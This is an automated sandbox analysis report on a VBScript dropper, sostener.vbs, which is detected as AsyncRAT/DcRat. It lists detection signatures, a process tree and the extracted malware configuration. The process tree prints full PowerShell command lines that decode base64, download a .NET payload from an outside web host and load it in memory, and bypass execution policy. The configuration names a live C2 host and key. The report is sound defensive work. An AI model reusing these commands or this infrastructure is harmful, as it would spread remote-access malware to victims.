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Windows
Analysis Report
sostener.vbs
Overview
General Information
Detection
AsyncRAT, DcRat
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AsyncRAT
Yara detected DcRat
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Creates autostart registry keys with suspicious names
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 4268 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\soste ner.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 1120 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $ExeNy = ' J Bz HE YQ Bh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egB B GM TwBn Ek bgBN HI JQ n Ds W wBC Hk d B l Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz H k cwB0 GU bQ u EM bw Bu HY ZQBy HQ XQ 6 D o RgBy G8 bQBC GE cw Bl DY N BT HQ cgBp G 4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ Lg BX GU YgBD Gw aQBl G 4 d p C4 R Bv Hc bgB s G8 YQBk FM d By Gk bgBn Cg J wBo HQ d B w HM Og v C8 dwB3 Hc LgBp G4 Z gBv HI bQB h GM aQBv G4 bwBw G8 cgB0 HU b gBh C4 YwB v G0 LwB3 H LQBj G8 bgB0 GU bg B0 C8 dQBw Gw bwBh G Q cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p D s WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt G E aQBu F0 Og 6 EM dQ By HI ZQBu HQ R Bv G 0 YQBp G4 LgBM G8 YQ Bk Cg J Bu G4 dQBv G E KQ u Ec ZQB0 FQ eQ Bw GU K n EM b Bh HM cwBM Gk Y gBy GE cgB 5 DE LgBD Gw YQBz HM MQ n Ck L gBH GU d B N GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G 8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq G U YwB0 Fs XQBd C K n HQ e B0 C 4 MQBT EQ LwBT FY Tg BF C8 egBy GE TQ v G c ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C 4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwB p Gg b B2 C L g Cc X wBf F8 XwB f F8 XwBf F8 XwBf F8 XwBf F8 X wBf F8 XwB f F8 XwBf C0 LQ t C0 LQ t C0 L Q t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByH L = [syste m.Text.Enc oding]::Un icode.GetS tring( [sy stem.Conve rt]::FromB ase64Strin g( $ExeNy. replace(' ','A') ) ) ;$KByHL = $KByHL.rep lace('%pzA cOgInMr%', 'C:\Users \user\Desk top\sosten er.vbs');p owershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6152 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6644 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$sqaaj = '013';$wih lv = 'C:\U sers\user\ Desktop\so stener.vbs ';[Byte[]] $nnuoa = [system.Co nvert]::Fr omBase64St ring( (New -Object Ne t.WebClien t).Downloa dString('h ttps://www .informaci onoportuna .com/wp-co ntent/uplo ads/2024/0 9/dllskyfa l.txt'));[ system.App Domain]::C urrentDoma in.Load($n nuoa).GetT ype('Class Library1.C lass1').Ge tMethod('Z xKHG').Inv oke($null, [object[] ] ('txt.1S D/SVNE/zra M/geR/kaT/ 961.332.20 2.19//:ptt h' , $wihl v , '_____ __________ ________-- ---------- -', $sqaaj , '1', 'Ro da' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6192 cmdline:
powershell .exe Set-E xecutionPo licy Bypas s -Scope P rocess ; p owershell -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5776 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6572 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ Desktop\so stener.vbs ' -Destina tion 'C:\U sers\user\ AppData\Lo cal\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5824 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ Desktop\so stener.vbs ' -Destina tion 'C:\U sers\user\ AppData\Lo cal\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 3292 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- powershell.exe (PID: 7280 cmdline:
"C:\Window s\system32 \WindowsPo werShell\v 1.0\PowerS hell.exe" -WindowSty le hidden "& 'C:\Use rs\user\Ap pData\Loca l\Temp\xx2 .vbs' " MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7304 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7476 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\xx 2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7568 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le hidden -command w script.exe //b //nol ogo 'C:\Us ers\user\A ppData\Loc al\Temp\so stener.vbs ' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7576 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7700 cmdline:
"C:\Window s\system32 \wscript.e xe" //b // nologo C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7788 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $ExeNy = ' J Bz HE YQ Bh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egB B GM TwBn Ek bgBN HI JQ n Ds W wBC Hk d B l Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz H k cwB0 GU bQ u EM bw Bu HY ZQBy HQ XQ 6 D o RgBy G8 bQBC GE cw Bl DY N BT HQ cgBp G 4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ Lg BX GU YgBD Gw aQBl G 4 d p C4 R Bv Hc bgB s G8 YQBk FM d By Gk bgBn Cg J wBo HQ d B w HM Og v C8 dwB3 Hc LgBp G4 Z gBv HI bQB h GM aQBv G4 bwBw G8 cgB0 HU b gBh C4 YwB v G0 LwB3 H LQBj G8 bgB0 GU bg B0 C8 dQBw Gw bwBh G Q cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p D s WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt G E aQBu F0 Og 6 EM dQ By HI ZQBu HQ R Bv G 0 YQBp G4 LgBM G8 YQ Bk Cg J Bu G4 dQBv G E KQ u Ec ZQB0 FQ eQ Bw GU K n EM b Bh HM cwBM Gk Y gBy GE cgB 5 DE LgBD Gw YQBz HM MQ n Ck L gBH GU d B N GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G 8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq G U YwB0 Fs XQBd C K n HQ e B0 C 4 MQBT EQ LwBT FY Tg BF C8 egBy GE TQ v G c ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C 4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwB p Gg b B2 C L g Cc X wBf F8 XwB f F8 XwBf F8 XwBf F8 XwBf F8 X wBf F8 XwB f F8 XwBf C0 LQ t C0 LQ t C0 L Q t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByH L = [syste m.Text.Enc oding]::Un icode.GetS tring( [sy stem.Conve rt]::FromB ase64Strin g( $ExeNy. replace(' ','A') ) ) ;$KByHL = $KByHL.rep lace('%pzA cOgInMr%', 'C:\Users \user\AppD ata\Local\ Temp\soste ner.vbs'); powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7796 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7896 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$sqaaj = '013';$wih lv = 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s';[Byte[] ] $nnuoa = [system.C onvert]::F romBase64S tring( (Ne w-Object N et.WebClie nt).Downlo adString(' https://ww w.informac ionoportun a.com/wp-c ontent/upl oads/2024/ 09/dllskyf al.txt')); [system.Ap pDomain]:: CurrentDom ain.Load($ nnuoa).Get Type('Clas sLibrary1. Class1').G etMethod(' ZxKHG').In voke($null , [object[ ]] ('txt.1 SD/SVNE/zr aM/geR/kaT /961.332.2 02.19//:pt th' , $wih lv , '____ __________ _________- ---------- --', $sqaa j, '1', 'R oda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7988 cmdline:
powershell .exe Set-E xecutionPo licy Bypas s -Scope P rocess ; p owershell -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 4476 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7996 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8008 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 3872 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- powershell.exe (PID: 8124 cmdline:
"C:\Window s\system32 \WindowsPo werShell\v 1.0\PowerS hell.exe" -WindowSty le hidden "& 'C:\Use rs\user\Ap pData\Loca l\Temp\xx2 .vbs' " MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8148 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7524 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\xx 2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7412 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le hidden -command w script.exe //b //nol ogo 'C:\Us ers\user\A ppData\Loc al\Temp\so stener.vbs ' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7420 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7480 cmdline:
"C:\Window s\system32 \wscript.e xe" //b // nologo C:\ Users\user \AppData\L ocal\Temp\ sostener.v bs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7624 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $ExeNy = ' J Bz HE YQ Bh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egB B GM TwBn Ek bgBN HI JQ n Ds W wBC Hk d B l Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz H k cwB0 GU bQ u EM bw Bu HY ZQBy HQ XQ 6 D o RgBy G8 bQBC GE cw Bl DY N BT HQ cgBp G 4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ Lg BX GU YgBD Gw aQBl G 4 d p C4 R Bv Hc bgB s G8 YQBk FM d By Gk bgBn Cg J wBo HQ d B w HM Og v C8 dwB3 Hc LgBp G4 Z gBv HI bQB h GM aQBv G4 bwBw G8 cgB0 HU b gBh C4 YwB v G0 LwB3 H LQBj G8 bgB0 GU bg B0 C8 dQBw Gw bwBh G Q cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p D s WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt G E aQBu F0 Og 6 EM dQ By HI ZQBu HQ R Bv G 0 YQBp G4 LgBM G8 YQ Bk Cg J Bu G4 dQBv G E KQ u Ec ZQB0 FQ eQ Bw GU K n EM b Bh HM cwBM Gk Y gBy GE cgB 5 DE LgBD Gw YQBz HM MQ n Ck L gBH GU d B N GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G 8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq G U YwB0 Fs XQBd C K n HQ e B0 C 4 MQBT EQ LwBT FY Tg BF C8 egBy GE TQ v G c ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C 4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwB p Gg b B2 C L g Cc X wBf F8 XwB f F8 XwBf F8 XwBf F8 XwBf F8 X wBf F8 XwB f F8 XwBf C0 LQ t C0 LQ t C0 L Q t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByH L = [syste m.Text.Enc oding]::Un icode.GetS tring( [sy stem.Conve rt]::FromB ase64Strin g( $ExeNy. replace(' ','A') ) ) ;$KByHL = $KByHL.rep lace('%pzA cOgInMr%', 'C:\Users \user\AppD ata\Local\ Temp\soste ner.vbs'); powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7620 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7728 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$sqaaj = '013';$wih lv = 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s';[Byte[] ] $nnuoa = [system.C onvert]::F romBase64S tring( (Ne w-Object N et.WebClie nt).Downlo adString(' https://ww w.informac ionoportun a.com/wp-c ontent/upl oads/2024/ 09/dllskyf al.txt')); [system.Ap pDomain]:: CurrentDom ain.Load($ nnuoa).Get Type('Clas sLibrary1. Class1').G etMethod(' ZxKHG').In voke($null , [object[ ]] ('txt.1 SD/SVNE/zr aM/geR/kaT /961.332.2 02.19//:pt th' , $wih lv , '____ __________ _________- ---------- --', $sqaa j, '1', 'R oda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 5376 cmdline:
powershell .exe Set-E xecutionPo licy Bypas s -Scope P rocess ; p owershell -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7712 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -file C:\U sers\user\ AppData\Lo cal\Temp\x x1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 2232 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6448 cmdline:
powershell .exe Copy- Item 'C:\U sers\user\ AppData\Lo cal\Temp\s ostener.vb s' -Destin ation 'C:\ Users\user \AppData\L ocal\Temp\ ' MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 7536 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94) - RegSvcs.exe (PID: 7484 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
AsyncRAT | AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
DCRat | DCRat is a typical RAT that has been around since at least June 2019. | No Attribution |
{"Server": "dcmxz.duckdns.org", "Ports": "35650", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "BMaxyTI6PFcknz46fW6SoamkbMkpDOBY", "Mutex": "DcRatMutex_qwqdanchun", "Certificate": "MIICMDCCAZmgAwIBAgIVAIhNlmebb6nSe6ECHjMpYKJ1i7gvMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIxMDEyODA1MzU1N1oXDTMxMTEwNzA1MzU1N1owEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALz18kcXxyYRNtzNciIOitqVEEKYOOJZOGjSaWOLKz3M/Df8QpKzt86Y+GK3639BYF/OzJ6i8PyJcI4jCe+L56ytnlJDfAYTzg7df+pvpE6bSgYYgBSEMcKBPrpx6bV5z/V8FOCVqlt9xfM47rHzIs6kOkc0Xu0TqFGxVfi3Koj/AgMBAAGjMjAwMB0GA1UdDgQWBBQOZShjgdZ92lUVGT5AalbF4rcBrDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBABuRWEmIgb/BjPElBrcq4LuUTHLBWgnJN3yXXtFA+Nl/+mYto5FZMUmzz3mbjKRHuzo79jdei4h1vSO9+2gTFWw1mY8HoeEoyL0YExBQMCoUPjpLJEuAydiWBMXXBmv0zPzE3W7zhG6DRe8pXQkZ2yu8c9G4KxXS1ITmSrlJqBQ6", "ServerSignature": "HHE5jOeVJOhAghvpojlJdIrDbFOsUbqwsp+EMG8VXpAUEeevWIZdvf0JXY09IqtRyF0X8OflaZjfz5GSeKAlhnZylZ4ewd/rQNkxEX2jmNQvqQm2VUSZ4DaZ1LNcyuuDLoLokVBSqAQ26qID63vTRTGCG+S4ivbzXv2B1m+Pq9M=", "BDOS": "null", "External_config_on_Pastebin": "false"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
Windows_Trojan_DCRat_1aeea1ac | unknown | unknown |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
Windows_Trojan_DCRat_1aeea1ac | unknown | unknown |
| |
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
MALWARE_Win_DLAgent09 | Detects known downloader agent | ditekSHen |
| |
JoeSecurity_AsyncRAT | Yara detected AsyncRAT | Joe Security | ||
Windows_Trojan_DCRat_1aeea1ac | unknown | unknown |
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Click to see the 28 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
MALWARE_Win_DLAgent09 | Detects known downloader agent | ditekSHen |
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JoeSecurity_AsyncRAT | Yara detected AsyncRAT | Joe Security | ||
Windows_Trojan_DCRat_1aeea1ac | unknown | unknown |
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INDICATOR_SUSPICIOUS_EXE_B64_Artifacts | Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. | ditekSHen |
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Click to see the 55 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |